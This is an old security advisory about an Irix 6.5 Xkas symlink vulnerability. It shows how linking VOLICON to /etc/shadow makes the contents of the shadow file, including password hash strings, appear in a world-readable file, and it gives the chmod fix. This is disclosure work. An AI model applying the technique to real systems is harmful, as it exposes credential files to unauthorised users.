29th Jan 2002 [SBWID-5039]
COMMAND
Xkas symlink vulnerability
SYSTEMS AFFECTED
Irix 6.5
PROBLEM
Kim Yong-Jun from HackersLab [http://www.hackerslab.org] says :
Xkas is a server administration tool for appleshare. Misconfiguration
by the user with the root privilege could lead to a serious security
vulnerability.
.HSResource directory and .HSicon file is created when sharing a
directory. Creation of the HSicon file is accomplished by copying the
/var/adm/appletalk/icons/VOLICON file. A problem occurs during this
process because the permission of /var/adm/appletalk/icons directory is
set to 777 (world-writeable). Link the wanted file with VOLICON like
the following.
$ ls -al /var/adm/appletalk/icons
total 8
drwxrwxrwx 4 root sys 57 Jan 25 03:12 .
drwxr-xr-x 6 root sys 4096 Jan 24 16:05 ..
drwxr-xr-x 2 root sys 9 Jan 25 03:12 .HSResource
lrwxr-xr-x 1 loveyou user 11 Jan 25 03:05 VOLICON -> /etc/shadow
When the administrator uses the /usr/etc/appletalk/xkas directory to
share the root directory, the following files are created in the root.
$ ls -al /
total 17099
drwxr-xr-x 37 root sys 4096 Jan 25 03:30 .
drwxr-xr-x 37 root sys 4096 Jan 25 03:30 ..
drwxr-xr-x 2 root sys 9 Jan 25 03:30 .HSResource
-rw-r--r-- 1 root sys 786 Jan 25 03:30 .HSicon
(etc..)
$ cat /.HSicon
root:y7floveyous30I:10908::::::
bin:yxaiFduxixe8s:11127::::::
uucp:*:11127::::::
sys:*:11127::::::
adm:*:11127::::::
loveyou:mXaa2jxi/ejY:10877::::::
SOLUTION
Remove other-write permission, contact your vendor and get a patch.
$ su -
# chmod o-w /var/adm/appletalk/icons
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